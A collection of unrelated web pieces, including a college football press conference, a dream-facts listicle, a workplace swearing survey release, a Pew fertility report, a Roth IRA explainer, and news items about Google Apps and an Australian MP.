-Press Conference: ODU football coach Bobby Wilder  Twitter Facebook Google+ WhatsApp LinkedIn Pinterest Email  ODU football Bobby Wilder talks with reporters on Monday. The Monarchs open the 2015 season on Saturday at Eastern Michigan.  “Good morning Monarch Nation! We are excited to get started with our 2015 season. First I’d like to welcome all the members of our armed services who are here today as a part of our Wounded Warriors program. We are absolutely honored to have you all here today with us, and on behalf of myself, Old Dominion University and our entire coaching staff, we thank you for everything you do in protecting us, making us feel safe, and allowing us to feel good about ourselves living in the greatest country in the world. So thank you all, very much.”  “I’d also like to announce that we, here at Old Dominion University, are excited about our partnership with EDS Inc. For a second year in a row, we are going to provide tickets to ODU athletic events to active and retired military members and their families throughout Hampton Roads. This Tickets for Troops program is something we are all very proud of. It’s something that we feel like, in a very small way, we can continue to say thank you to all of our military personnel. With that being said, let’s get started on this year’s football team.”  “We reported on August 9, and these last 22 days we’ve spent preparing the team for the September 5 opener at Eastern Michigan. We had 105 players that reported to camp on August 9, and we added 10 more players the first day of classes. We have a roster right now of 115 players, but only 10 are seniors. The good news is we have 43 players who have played before and have experience. We are the youngest team in Conference USA, and statistically, we are the fourth youngest team in the country. But we feel as a coaching staff, this is the most talented team we’ve had thus far here at Old Dominion.”  “Starting with special teams, I feel like this is an area that we, as coaches, feel that we will be greatly improved in from last year. We now have much greater depth on offense and on defense, so that will benefit us greatly with special teams, too. We welcomed Reed Buce, a junior college transfer long-snapper from Glendale Community College in Arizona. He had an outstanding preseason; we feel like he is as good as the two guys we had before at this position in Dustin Phillips and Rick Lovato. Both of those guys were outstanding for us, so we definitely welcomed Reed to the team.”  “Defensively, we have really good experience on this side of the ball. Eight of our 11 starters have game experience on defense. We have 18 guys total who have played on that side of the ball. We currently have more depth than we ever have had on defense, which is a real good feeling. We feel as though at this point, there are 13 guys that can play on the defensive line, which is probably twice as many players that we’ve ever had at that position who can competitively get out on the field and play good football. We also have 10 linebackers that we feel really good about and nine guys in the secondary. So we feel like there’s going to be a lot of competition on defense early in the season. There are 32 guys right now that are going to travel, and we feel like all of them can be good players for us.”  “On offense, we have a lot of good experience coming back as well. We have 10 of our eleven starters have played. We have 18 guys on offense who have played before for us. Shuler Bentley, our quarterback, is the only player at this point who hasn’t played a college football game yet, but he redshirted and had an outstanding offseason. He also just had his best performance in our last scrimmage this past Saturday, so we feel really good about Shuler. Offensively, there are 10 guys up front that we feel good about. We have four running backs who have been competing; all of them had good camps. We have nine wide receivers that we feel like can play, and we feel good about all three of our quarterbacks.”  “Speaking to this week’s opponent, Eastern Michigan, we have a lot of respect for their head coach, Chris Creighton. This is his third job, and he has won everywhere he’s been. Generally, it’s taken him a minute to get it started, but then he gets it going pretty well. He has won 70 percent of his games as a head coach. When you go on the road to open the season, you’re always a little bit concerned because it’s not something we’ve done a lot of. Unlike with other sports, we can’t have scrimmages against other teams, so our first competition against another team is our first game. When you’re doing it with a young team, it makes it a little bit more challenging. They played well at home last year, so we know we have our work cut out for us.”  “Offensively, they are led by Reggie Bell, their quarterback. Interesting stat about Reggie is that he was one of only seven quarterbacks that led his team in both passing and rushing last season. He had an outstanding rushing game, and ran for over 200 yards in their home win over Buffalo last year. So defensively, we know we will have to focus on him as both a passer and as a rusher. He is a very explosive player. They return five starters on offense, so we are going to see a lot of new faces. But we, as a coaching staff, can appreciate what they’re doing. They’ve got a lot of transfers in and are playing a lot of young players to build their program around.”  “Defensively, they return six starters and are led by linebacker Great Ibe. He had 133 tackles last season; he was one of the leading tacklers in the nation. So, this will be a challenge for us, going out there with a relatively new team. We know it’s going to take a solid effort from all three phases to come back with a win and start the season off 1-0. At this point, I will take questions.”  Q: Coach, at the beginning of every season you have begun to crystallize a saying or a few-word phrase about what the season is going to be all about. Have you made a new one this year?  A: Yes, I think the best way I can answer that question is by saying we have a lot of youth, but we have a lot of talent. The majority of the time, that is a good combination. We’re going to need to be very patient as a coaching staff. This is going to be a learning process early on. The good thing about the first month of the season is that there’s only one game away from home. We come back for three straight home games after Eastern Michigan. So, the young talent and how we develop that young talent will probably be the key to how the outcome will be this season.  Q: Talk about how your quarterback, who you mentioned hasn’t played yet, is ready to handle this situation?  A: The best thing for Shuler is that he has a lot of experience around him. We have changed the dynamics of what we’re going to be doing on offense, and the offensive coaching staff has done a great job emphasizing to all the players around him that this is a different team. So, we will be much more run-oriented, which always helps develop a quarterback’s confidence. A lot of experience around him will help him; he’s got plenty of veterans on the offensive line, at running back and at wide receiver. We’ve made it very clear to Shuler that the number one thing he needs to do is manage the operation. If he does that, he will have success and be able to develop throughout the season.  Q: With Melvin Vaughn going down, did you have to make more changes on offense?  A: Well, we’ve always had the philosophy here that the best 11 are going to play. If something happens, such as an injury or performance suffers, then it’s our job as coaches to get the twelfth best player on the field. We were planning on being more tight end-oriented based on Melvin’s talents, but now we will have to make some adjustments with that. We’re not going to be completely four-wide; we’ve got some other things in the plan that we will work to develop. Finding that combination of who we are as a team, early on, is going to be critical for us.  Q: Last year you were bowl eligible, kind of. This year it’s a little different. Can you talk about how important that is this year?  A: That was a major accomplishment last year for us, to become bowl eligible. Unfortunately, there were too many teams, so we didn’t get to go based on those transition rules, but that did a lot to infuse confidence into our program. For our first season playing an FBS schedule with 11 FBS games and to end the way we did on a three-game winning streak and to beat the best team in the west, Louisiana Tech, that gave us a lot of confidence. So, the players in the program and the coaches already know that we can get bowl eligible. But the goal for this year’s team isn’t just to get to a bowl game but to compete for the eastern division championship in Conference USA, which will be a major challenge with Western Kentucky and Marshall, both of which are picked pretty high in our division. But we know that if we accomplish that, then we will be playing on December 5 in the Conference USA championship and will already be guaranteed a pretty good bowl game. This team already knows it can become bowl eligible, but the goals and expectations will always be higher than that.  Q: While opening up on the road with such a young team is not ideal, do you see it as a good challenge for them to have to face that kind of adversity?  A: It definitely is a good challenge, and sometimes there are advantages of having a young team open up the season away from home. You travel and get into a hotel, so there is more of a sense of comradery because you have the whole team together. I will use that part to our advantage. From the time we practice on Friday, then go to the airport and get on the plane and then get to the hotel, it will be all about that rallying cry of “it’s us.” We’ve got to be together to win this football game.  Q: Is there anything you learned about this team just from camp and the practices leading up to now?  A: Yeah, I learned they are a lot of fun to be around. This group has a lot of energy; you generally get that out of a youthful group. Our coaches did an excellent job explaining to the guys the importance of competing at practice. We set up our drills purposely to make it very competitive. The only thing we don’t know about this group, which is probably also true of every team in the nation, is how are they going to react when they get punched in the mouth? How we react when we have some adversity will be critical. But, we have proven as a staff and with our returning players that we can handle those adverse situations. All four of our league wins last year came on the last play of the game; it doesn’t get any more adverse than that. But I have a lot of confidence in this group and our coaching staff going into this season, but I think it will take us a minute to get to who we are going to be. We are not going to be as good in week one as we’re going to be later on in the season, so it will be a measure of patience for everyone.  Related Content  Shop Google
-By Aatif Zubair, Delhi Technological University, India  What goes into creating dreams is a subject of great interest to almost everyone—including scientists. Here are some things which they've discovered can influence what happens after you close your eyes.  1. Sleeping on your belly gives you erotic dreams  People who sleep on their fronts are way more likely to have erotic dreams compared to those who go to sleep in other positions. According to a study, people who sleep on their tummy tend to get short of breath at night, and because of that, they often get dreams of wild sex. The people who sleep in such a position often experience racier dreams, like those involving being “tied up” or “locked up.” Another interesting fact to note is that most people who have experienced such dreams report that they also often involve a really famous personality.  2. Nightmares can be Shared/Genes influence your nightmares  Identical twins may usually have the same interests and habits, but scientists have discovered that their genetic basis is much stronger than anyone can imagine. It’s so strong that they can even experience nightmares on almost the same frequency. In a large study that involved nearly 2700 identical twins and 4200 non-identical twins, scientists found that identical twins are twice as likely to have the trait of having frequent nightmares as fraternal twins, which is both awesome and slightly creepy.  3. Earth’s magnetic field triggers weird dreams  It's possible that the Earth’s magnetic field has a profound effect on dreams in people. Psychologist Darren Lipnicki has been recording his dreams for over eight years and concluded that low geomagnetic activity caused weirder dreams, but when the geomagnetic activity was high, the dreams got more normal and sensible. His findings are strictly anecdotal but have provided the impetus for further controlled studies.  4. Black and white television gives you black and white dreams  Trying to think of a world in black and white might sound impossible, but some people actually do so in their dreams. A study published in 2008 by psychology student Eva Murzyn at the University of Dundee has shown that the type of television you watched as a child has a profound effect on the color of your dreams. Murzyn found that her respondents aged 55 and over had colorless dreams 20 percent of the time, leading her to believe that children who were exposed to black-and-white film and TV from ages three to 10 are more likely to dream in greyscale throughout their life. Other studies have shown that since the 1960s, 83 percent of the population dreams in color, a timeline that coincides with the advent of color TV—so it is possible that media has as much influence on our subconsciousness as life experience.  5. Different Cheeses affect your dreams  This might be a bit hard to digest, but a study has found out that different types of cheeses can affect your dreams. All cheeses contain an amino acid called tryptophan, which is helpful in normalizing sleep and reducing stress levels. A 2005 study conducted by the British Cheese Board discovered that the subjects who normally ate cheddar cheese dreamt more about celebrities; the people who ate Blue cheese (Blue Stilton) experienced bizarre dreams. Cheshire gave the best night's sleep, but it caused dreamlessness. The people who ate Red Lancashire had nostalgic dreams about their families and childhood and the ones who ate Blue Lancashire dreamt mostly about their work.  6. What you hear and smell influences your dreams  Our mind interprets the noise occurring around us while we’re asleep, and makes it a part of our dreams. This means that sometimes in our dreams we hear a sound from reality which is incorporated it a way that makes sense to our subconscious. For example, you may be dreaming that you are in a concert while your brother is playing a guitar during your sleep. In one study, researchers found that there was a significant difference between the dreams of the people who heard no music and the people who did. The ones who did hear reported that they had heard music in their dreams.  Even smells have an influence on dreams. Similar to noise, our brain interprets smells as a signal and incorporates it in dreams. For example, the scent of rose gave people pleasant dreams while the scent of rotten eggs gave weird dreams to people.
-CHICAGO, July 25, 2012 /PRNewswire/ -- Employees who make frequent contributions to the swear jar may lose more than loose change; they may lose out on a promotion. Sixty-four percent of employers said that they'd think less of an employee who repeatedly uses curse words, and 57 percent said they'd be less likely to promote someone who swears in the office. The nationwide survey, which was conducted by Harris Interactive© from May 14, 2012 to June 4, 2012, included more than 2,000 hiring managers and 3,800 workers across industries and company sizes.  Half (51 percent) of workers reported that they swear in the office. The majority of those (95 percent) said they do so in front of their co-workers, while 51 percent cuss in front of the boss. Workers were the least likely to use expletives in front of senior leaders (13 percent) and their clients (7 percent).  Comparing genders, men are more likely to report swearing at work – 54 percent compared to 47 percent of women.  Bad Words Leave Bad Impressions  Employers are inclined to think less of an employee who swears at work for a variety of reasons. Most (81 percent) believe that the use of curse words brings the employee's professionalism into question. Others are concerned with the lack of control (71 percent) and lack of maturity (68 percent) demonstrated by swearing at work, while 54 percent said swearing at work makes an employee appear less intelligent.  Pot Calling the Kettle  While many employers may think less of an employee who curses too much in the office, one in four employers (25 percent) admitted to swearing at their employees. Roughly the same amount (28 percent) of workers said they have sworn at other co-workers.  Cities Most Likely to Swear  Among top markets in the U.S., workers in the nation's capital were the most likely to report that they swear at work, with Denver and Chicago rounding out the top three.  Washington D.C. – 62 percent  – 62 percent Denver – 60 percent  – 60 percent Chicago – 58 percent  – 58 percent Los Angeles – 56 percent  – 56 percent Boston – 56 percent  – 56 percent Atlanta – 54 percent  – 54 percent Minneapolis – 50 percent  – 50 percent Phoenix – 47 percent  – 47 percent New York – 46 percent  – 46 percent Philadelphia – 44 percent  Swearing By Age  Comparing age groups, younger employees were the least likely to swear at work, while employees ages 35-44 are the most likely to curse while on the job.  Employees ages 18-24 – 42 percent say they swear at work  Employees ages 25-34 – 51 percent say they swear at work  Employees ages 35-44 – 58 percent say they swear at work  Employees ages 45-54 – 51 percent say they swear at work  Employees ages 55 and over – 44 percent say they swear at work  Survey Methodology  This survey was conducted online within the U.S. by Harris Interactive© on behalf of CareerBuilder among 2,298 U.S. hiring managers and human resource professionals and 3,892 U.S. workers (employed full-time, not self-employed, non-government) ages 18 and over between May 14 and June 4, 2012 (percentages for some questions are based on a subset, based on their responses to certain questions). With pure probability samples of 2,298 and 3,892, one could say with a 95 percent probability that the overall results have a sampling error of +/-2.04 and +/-1.57 percentage points, respectively. Sampling error for data from sub-samples is higher and varies.  About CareerBuilder®  CareerBuilder is the global leader in human capital solutions, helping companies target and attract their most important asset - their people. Its online career site, CareerBuilder.com®, is the largest in the United States with more than 24 million unique visitors, 1 million jobs and 49 million resumes. CareerBuilder works with the world's top employers, providing resources for everything from employment branding and talent intelligence to recruitment support. More than 10,000 websites, including 140 newspapers and broadband portals such as MSN and AOL, feature CareerBuilder's proprietary job search technology on their career sites. Owned by Gannett Co., Inc. (NYSE: GCI), Tribune Company and The McClatchy Company (NYSE: MNI), CareerBuilder and its subsidiaries operate in the United States, Europe, South America, Canada and Asia. For more information, visit www.careerbuilder.com.  Media Contact  Jennifer Grasz  773-527-1164  Jennifer.Grasz@careerbuilder.com  http://www.twitter.com/CareerBuilderPR  SOURCE CareerBuilder
-Winter 1996  Chris Beck was never one of your gargantuan-type Navy SEALs. There are those types, of course, men chiseled from granite at 120 percent human scale, men who seem to drain several drams of testosterone from everyone else when they walk into a room. But you’d be surprised at the body types you find in the SEAL teams. Your smaller fellows, your stringy fellows, the guy with almost literally zero percent body fat who had to eat two Papa John’s pizzas every day through SEAL training just so he wouldn’t die of hypothermia in the water. Chris himself was on the smaller side, more like an undersized walk-on linebacker who lacked the size and pedigree of some of his more highly recruited peers but played with an intensity and pain tolerance that endeared him to coaches and TV commentators.  And yet, as he slipped on a pair of panty hose in his sailboat on this night in 1996, Chris couldn’t help wishing he were more petite, more womanly. He always wanted that when he wore women’s clothing. To be just a little bit prettier. It felt good even to wish that.  Chris finished putting on his outfit and walked barefoot up the ladder and onto the deck of his boat. Dusk was fast disappearing in San Diego Bay, the red lights of the Coronado Bridge blinked on, the weaponized beachhead of the naval station loomed cloud-colored to the west. Chris was 30 years old then, living on a 48-foot wooden William Garden ketch that he’d bought in a state of disrepair for $12,000 and fixed himself. He opened a Sam Adams, the beer of patriots, and had a seat. He was wearing a wig, and the way it felt in the wind called up a pleasant feeling of longing. Chris loved the deck of his boat at night. He could feel the inhuman mass of the ocean shifting beneath him and hear the clanking of the rigging and the water against the timber hull, which just sounded better than it does on fiberglass. But otherwise he was erased from the world. “Being invisible,” he thought, “is a relief.”  He’d flown back from a training deployment in Thailand earlier in the week. He’d taken a taxi from the base to a garage he rented, picked up his motorcycle, and ridden it down to Fiddler’s Cove. He’d undressed to his shorts, stuffed his clothes in a plastic bag, and swam the half mile to the sailboat he lived on—it was cheaper than sharing a house, like most of the other, younger SEALs stationed in Coronado did. He’d found his boat, as always, sealed up tight. He would leave it spotless, because he never knew when fate would dictate that he wouldn’t be the one opening it up. It was part of the process of shipping out, a ritualized preparation for death that would always have a kind of dreadful power over him. The washing of bedclothes, the bleaching of sinks, the removal of any speck of organic matter, the rewriting of his “dead letters” to be distributed to his friends and relatives should he not return, all of them signed with that quote from the end of The Hitchhiker’s Guide to the Galaxy, “Thanks for all the fish.” Of course, Chris also had to purge all his panty hose and dresses and wigs and shoes—“I want to have honor in death” was how he thought about it.  Over the course of his 20-year career, Chris would serve in the Balkans during the civil war there. He would serve during the first Gulf War; fight pirates across the Horn of Africa; drive into Iraq in 2003 ahead of the invasion. He would spend years on small firebases in Afghanistan, snatching Taliban leaders; operate alone in the tribal belt along the Pakistan border, wearing a long beard and Pashtun garb, convening with Taliban agents and tribal warlords. Though it’s certain he’s killed people, I’m not privy to the details, because I know that to ask such questions is to reveal something truly base in myself. But I know Chris would be awarded the Bronze Star with valor, the Purple Heart, the Meritorious Service Medal, and about 50 other ribbons and medals. He would dislocate a shoulder, shatter a kneecap, be hit by a rocket-propelled grenade on his fortieth birthday, break two vertebrae in his back on a boat near Somalia and complete the mission anyway, and fly home sleeping among the flag-draped coffins of 19 of his brothers.  But even coming back from a training deployment in Thailand, it would usually take Chris a few days to find the release valve on his psyche. And by tonight he’d gotten the boat all opened up and aired out—made a run to get beer and another to a vintage store where he bought his dresses and shoes. And now, sitting there on the deck, he finally felt relaxed.
-Thank you for visiting SmokinJs.com. Founded in 1997, we are the oldest alternative pipe and tobacco store in SW Washington, and we want to extend the Evergreen State hospitality to smokers everywhere. We are Real People offering Real Products at a Real Value. We feature 100% American made hand blown glass pipes. A lot of the glass pipes found at Smokin Js comes from glass blowers making pipes for us for over 10 years! Aside from all of your smoking utensils and accessories, we offer over 2,000 products from drinking games and puzzles to tapestries and incense. We have something for every member of the family. At Smokin Js you will experience outstanding customer service, the way it should be. Our knowledgable staff is here to help you seven days a week, any time of the day. We aren't interested in being the coolest, just the best.
-Childlessness Falls, Family Size Grows Among Highly Educated Women  Among women in the United States, postgraduate education and motherhood are increasingly going hand-in-hand. The share of highly educated women who are remaining childless into their mid-40s has fallen significantly over the past two decades.  Today, about one-in-five women ages 40 to 44 with a master’s degree or higher (22%) have no children – down from 30% in 1994, according to a Pew Research Center analysis of newly released Census Bureau data. The decline is particularly dramatic among women with an M.D. or Ph.D. – fully 35% were childless in 1994, while today the share stands at 20%. Not only are highly educated women more likely to have children these days, they are also having bigger families than in the past. Among women with at least a master’s degree, six-in-ten have had two or more children, up from 51% in 1994. The share with two children has risen 4 percentage points, while the share with three or more has risen 6 percentage points.  This trend has likely been driven by demographic and societal changes. It coincides with women’s growing presence in managerial and leadership positions and suggests that an increasing share of professional women are confronting the inevitable push and pull of work-family balance. Previous Pew Research analysis has found that overall women devote fewer hours to paid work with each additional child they have. On average, a working-age woman with no children spends 27 hours per week in paid work, while a woman with three or more children spends 18 hours working. In addition, working mothers are more than three times as likely as working fathers to say that being a working parent has made it more difficult for them to advance in their career (51% vs. 16%).  Fueled in part by the increases in motherhood among highly educated women, childlessness among all women ages 40 to 44 in the U.S. is at its lowest point in a decade. In 1994, 18% of all women at the end of their childbearing years had not borne a child. That number rose to 20% by the mid-2000s before declining to 15% in 2014. At the same time, the average number of children that U.S. women have in their lifetime has remained quite stable over the past 20 years, at about two children.  The fact that completed family size has changed little since the mid-1990s may seem counterintuitive, given the amount of attention often directed toward the so-called “Baby Bust” in the post-recession U.S. It is true that analyses based on changes in annual fertility rates have shown consistent declines in childbearing since 2007, suggesting that fertility is at an all-time low. However, these analyses are capturing fertility at one point in time, as opposed to the cumulative measure of lifetime fertility used in this analysis. Part of what accounts for the low fertility indicated by annual rates is the fact that many women are putting off having children until later in life, both due to broad cultural changes (such as increasing education), and due to the Great Recession, which intensified delayed childbearing, particularly among younger women. What remains to be seen is whether these declines in annual birth rates will continue, and will translate into lower lifetime fertility for women at the end of their childbearing years. Some experts suspect that, as with past economic downturns, women may ultimately “catch up” on their fertility, though one recent analysis suggests that fertility delayed due to the Great Recession may in fact be fertility foregone.  Regardless of short-term fertility patterns and their implications, there is no denying that the longer-term trend has been toward much smaller American families. Looking back to 1976, the first year for which data are available, the average woman in her early 40s in the U.S. had given birth to three children, and 36% of women in this age range had four or more children. By 2014, the large family sizes that prevailed in the 1970s had been fully supplanted by the two-child family. Now 35% of all women ages 40 to 44 have two children, while just 12% have four or more. At the same time, one-child families have gained ground – today 18% of women at the end of their childbearing years have an only child, up from 10% in 1976. About 20% of women have three children, a number that has remained virtually unchanged.  These findings are based on a Pew Research Center analysis of civilian women near the end of their childbearing years, using data from the 1976-2014 June Supplements of the Current Population Survey. The June Supplement is typically conducted every other year, and produces a nationally representative sample of the non-institutionalized population of the U.S. While the overview and first section of this report analyzes childlessness and fertility among all women, the final section examines mothers only, focusing on trends and variations in the number of children that they have had in their lifetimes.  Other key findings:  While fertility trends among highly educated women show a clear pattern of less childlessness and bigger families, the trends among less-educated women are not as clear-cut. Childlessness is down among women lacking a high school diploma and among women with a bachelor’s degree, but otherwise family size for these two groups has changed little since 1994. And among high school graduates, the share of women ages 40 to 44 with one child has increased, but there has been no change in the share with bigger families.  The educational “gaps” in childlessness and in family size have narrowed in the past two decades, but they do persist. The more education a woman has, up to a bachelor’s degree, the less likely she is to become a mother. And among mothers, those with more education have fewer children than those with less education. For instance, just 13% of moms lacking a high school diploma have one child, while fully 26% have four or more, while among mothers with a master’s degree or more, 23% have only children and just 8% have four or more.  Fertility patterns differ significantly by race and ethnicity. Some 17% of white women ages 40 to 44 are childless, compared with 15% of black women in the same age group, 13% of Asian women and just 10% of Hispanic women.  Hispanic and black mothers ages 40 to 44 are especially likely to have large families. Fully 20% of Hispanic moms have four or more children, as do 18% of black moms. In comparison, just 11% of white mothers have four or more children, as do 10% of Asian mothers. Since 1988, there has been a dramatic decline in the share of mothers with four or more children among Hispanics, blacks and whites.
-+1 Share Pin 0 Shares  New here? You may want updates via email or RSS feed. Thanks for visiting!  Most Americans want to save for retirement, but most don't know how to start. Putting money into a savings account is ideal for short-term goals and emergency funds. But there are better investment vehicles for long-term savings. One investment vehicle that I've grown to love almost as much as much as I love In-N-Out Burger (key word: “almost”) is the Roth IRA.  I know Get Rich Slowly has covered the Roth IRA a lot in the past, but new readers might not be that familiar with it. Besides, even though you might think you know everything there is to know about Roth IRAs, here are some facts that might be new to you.  1. The Roth IRA has been around the block  Most people don't know that the Roth IRA is getting close to getting its driving permit, having been around for almost 14 years. It originally started with the Tax Relief Act of 1997, named after late Senator William Roth of Delaware.  After the Roth IRA conversion event of 2010, there was a further influx of Roth IRA contributions. Much can be attributed to this based on when the Roth IRA conversion was made available in 1998, allowing savers to to convert from a traditional IRA to a Roth IRA. During that time, 1.4 million taxpayers converted $39.3 billion in traditional IRAs to Roth IRAs.  Related >> Read whether it's better to have a traditional IRA or Roth IRA.  2. Contributions to Roth IRA are not tax-deductible  Unlike other retirement vehicles, such as the employee-sponsored 401(k), contributions to a Roth IRA are not tax-deductible. Contributions to your Roth IRA are made with after-tax dollars. This does not offer an immediate tax benefit compared to one that is recognized at the time of distribution. When you take a qualified distribution from your Roth IRA, you will never pay taxes on that money.  This allows you to have access to your contributions at any time. That's an attractive feature for those that want to save for retirement but are worried about having to pay a penalty if they need access to the money.  While you don't get a tax deduction, you may qualify for the Roth IRA savers credit. The downside of the credit is that if your adjusted gross income exceeds $27,750 filing single for the 2017 saver's credit for a credit rate of 50 percent of your contribution, you don't qualify. For people married and filing jointly, the adjusted gross income limit is $37,000.  3. You must meet eligibility requirements to contribute to a Roth IRA  As the Roth IRA gains popularity among retirement savers, many people fail to understand that not everyone will be able to contribute to this type of account. In order to contribute to a Roth IRA, you must fall below the established income thresholds set forth by the IRS each year. The cut-off limits (otherwise known as phase-out limits) for 2017 are $118,000 to contribute up to the limit and $132,999 to contribute a reduced amount for single filers. The limit is $186,000 for married couples filing jointly to contribute up to the limit and $195,999 to contribute a reduced amount.  If your income falls beneath the threshold for your filing status for the year, you must also make contributions from taxable compensation. This means individuals cannot use rental property payments, royalties or other non-taxable compensation to make contributions to a Roth IRA.  4. You may be able to convert other retirement accounts to a Roth IRA  Since 2010, there are new conversion rules that apply to the transferring of funds from a traditional IRA or 401(k) to a Roth IRA. When you convert from a tax-deferred retirement account to a tax-free retirement account, you'll potentially see many benefits long term. It's important to remember that the IRS isn't going to forget about the taxation of this money. Whatever amount you transfer to the Roth IRA will be tacked on to your earned income (and taxed at your current rate) for the year of the conversion.  5. Benefits of Roth IRA savings can help meet other financial goals  Usually, experts recommend that retirement vehicles be used solely for retirement purposes. However, out of all the retirement accounts on the market, the Roth IRA can be used for other goals.  Since you have already paid taxes on your contributions, you are able to enjoy tax-free distributions of those contributions (but not the earnings) before you reach retirement age. As long as all distribution requirements have been met, you may access that money for other things. These include a down payment on a home or college tuition. Often times I will meet with young parents who are very ambitious about saving for the kids' college. However, they are barely saving anything for their own retirement. In these situations, I often suggest the Roth IRA as a viable substitute.  6. Roth IRA distributions don't contribute to taxable earnings  One of the most attractive features of the Roth IRA is that, when you start taking distributions, you don't have to worry about them contributing to your taxable income. This is because Roth IRA contributions grow in your account tax free since you're contributing after-tax dollars. With a traditional IRA, you make a contribution with pre-tax dollars. As a result, you end up with a deduction. A traditional IRA contribution lowers your taxable income.  This is not the case with a Roth IRA. You get no tax benefit immediately for making a contribution to your Roth retirement account. You pay taxes on your income, and then you make your contribution. However, because you have already paid taxes on the money you use, you won't be taxed on it again. Your money grows tax free. For those who think that they'll be in a higher tax bracket or that tax rates will go up by the time they retire, this can be an advantage. You pay taxes at your current, lower rate. And then when you take your distributions, you avoid paying taxes at your future higher rate.  7. There is a five-year rule for Roth IRA withdrawals  It is possible to withdraw money that you have contributed to your Roth IRA at any time, tax- and penalty-free, as long as you meet the distribution requirements. However, if you want to withdraw the earnings from your Roth IRA, it is important to realize that you must have the account for at least five years. The clock starts ticking from the first day of the tax year in which you designate your contribution. So, if you open your Roth IRA in September of 2016 and make your initial contribution, you can make withdrawals of your earnings starting January 1, 2021.  This also works if you open your Roth IRA before April 15 and designate the contribution for the previous year. For example, you can open a Roth IRA on April 10, 2017, and designate 2016 as the year for your contribution. The clock starts ticking on January 1, 2016, even though you opened your IRA in April.  The five-year rule also applies to conversions. You cannot withdraw the converted amount in your Roth IRA until five years have passed.  8. There are no required minimum distributions during the life of the Roth IRA owner  For some folks, required minimum distributions (RMDs) are a big problem with retirement accounts. This is a minimum amount that the IRS says you have to withdraw from your retirement account each year once you reach a certain age. With some accounts, like 401(k)s, this can be disheartening. Since RMD can add to taxable income, this can possibly put you in a higher tax bracket.  However, with a Roth IRA, there are no RMDs. The owner never has to withdraw money if he or she doesn't want to. It is important to note that this privilege disappears upon the death of a Roth IRA owner. Heirs to the Roth IRA must take RMDs (but the RMDs are still tax-free). Inheriting a Roth IRA is very similar to receiving the proceeds of a paid-out life insurance policy.  The bottom line for Roth IRAs  The Roth IRA is growing in popularity because it offers many benefits without several of the drawbacks associated with other retirement accounts. In addition, the Roth IRA allows for contributions for the remainder of your life. This is unlike the traditional IRA that restricts you from contributing after age 70-1/2.  A Roth IRA can be a great savings tool. Just make sure you understand the Roth IRA rules that come with it, and be careful to adhere to them.  Author: Jeff Rose Jeff Rose CFP blogs at GoodFinancialcents.com. Jeff is well known among bloggers for his various causes: The Debt Movement, The Roth IRA Movement and The Life Insurance Movement. His also wrote a book, Soldier of Finance.
-Free Google Apps Sign Up Page Removed — A Sign of New Changes to Come?  It used to be that you could go to the Google Apps front page and easily sign up for a free account. But now it is a bit different.  The Google Apps choice is not available anymore on the Google Apps home page. You can still get a free Google Apps account. But the only way to do that is by signing up for a 30-day free trial to its premium Goole Apps for Business service. What happens after 3o days? We’ve asked Google for comment.  Google Apps is the free service Google offers for companies with ten people or less. Google Apps for Business is for the larger enterprise accounts. The base price is $5 per user per month. It is estimated that about 5 million businesses and 40 million people use Google Apps.  Doing a search for Google Apps is about the only way you can find the form for getting a Google Apps account with no strings attached.  Even the Web address apps.google.con directs to a Google Apps for Business Web page.  Is this a shift in strategy for Google Apps? A move to de-emphasize free accounts? It appears that way. We’ll update when we hear back from Google.  Thanks to Scott Buscemi for the tip.  Update: A Google spokesperson said the change is part of a small trial to help the company better understand customers. It is not visible to all users who are signing up for the Google Apps trial. Customers can downgrade after the trial. Google will continue to experiment with different options in the trial flow.
-We received far more nominations for this category than any other, so there will be more choices in this poll than any other.  The bars range all over the state, and can be found in big cities, small towns and out in the country. Some are big, some small, but all share one quality: they are great local hangouts.  You can vote once in each category every day. The deadline for voting is 3 p.m. this Sunday, the 25th.  Don't forget to vote in our five other categories:  Sports bars  Dive bars  Craft beer bars  Wine/Whiskey/martini bars  Hotel or restaurant bars  The top five vote-getters in each category, plus my personal selections (which will include bars not in the polls), will comprise the 60 bars to be visited starting next week. Then the real fun -- stories, photos and videos -- begins.  If you don't see a bar in the poll, or you think a bar that finishes out of the top five needs some extra love, make sure you comment below.  And don't forget to check out my collection of NJ's funniest bar signs. If you have one of your own, post it or send it my way!  Peter Genovese may be reached at pgenovese@njadvancemedia.com. Follow him on Twitter at @PeteGenovese or via The Munchmobile @NJ_Munchmobile. Find the Munchmobile on Facebook and on Instagram.
-The Australian ambassador to Croatia has been summoned after a Coalition MP was reported as passing on the best wishes of the prime minister, Tony Abbott, to a group celebrating a fascist period in the country’s history.  Hughes MP, Craig Kelly, said he was “mortified” at reports he attended the Croatian Club in Sydney last week for an event marking the anniversary of the establishment of the Independent State of Croatia (NDH) in 1941.  The NDH wanted to rid the country of Jews, Roma and Serbs and was established after the invasion of Yugoslavia overseen by Adolf Hitler and Benito Mussolini.  “On behalf of the Australian Prime Minister Tony Abbott who is now in Japan, I impart to you his greetings and good wishes on the occasion of the celebration of April 10, to you and all Croatians in Australia and those in Croatia,” Kelly told the gathering, according to an English translation of the report by Australian-Croatian publication Boka Cropress.  A spokesman for the Croatian embassy confirmed the Australian ambassador in the European country had been summoned by the government to explain the comments, specifically the prime minister passing on his “good wishes”.  Kelly’s office did not return phone calls on Tuesday but released a statement to the news site inserbia.info on Monday saying he was “mortified” at what had been reported and that his words had been taken out of context.  “In what I said, I certainly did not endorse the fascist state of Croatia during world war two in any way,” he said.  “In fact, to the complete contrary, the speech I gave was a strong condemnation of both fascism and communism. I specifically called fascism an evil. And the ‘congratulations’ that I gave, were to the Croatian Community for their fight AGAINST [his capitals] fascism.”  Kelly said he was personally upset at the reporting of the event and he had told the group that, because of their past experiences with “the evils” of fascism, the Croatian people had a “special understanding of the importance of freedom and democracy”.  He said he was the first speaker, leaving immediately after he spoke, but if he had known the event was to support a fascist state he would not have attended.  “Nevertheless, I sincerely apologise if any offence has been taken, as my comments were taken completely out of context, with their meaning reversed,” he said.  Kelly said he was asked to go to an event “celebrating Croatian independence” on behalf of the parliamentary secretary for social services with special responsibility for multicultural affairs and settlement services, senator Concetta Fierravanti-Wells, whose office has not responded to a request for comment.  Kelly was not the only politician at the event. Boka Cropress listed other attendees as the Labor state MP for Bankstown, Tania Mihailuk, the Liberal state MP for Riverstone, Kevin Conolly, Hills Shire councillor, Robyn Preston, and Penrith City councillor, Marcus Cornish.  • This article was amended on 24 April 2014. The earlier version said Tania Mihailuk was the state MP for Blacktown.
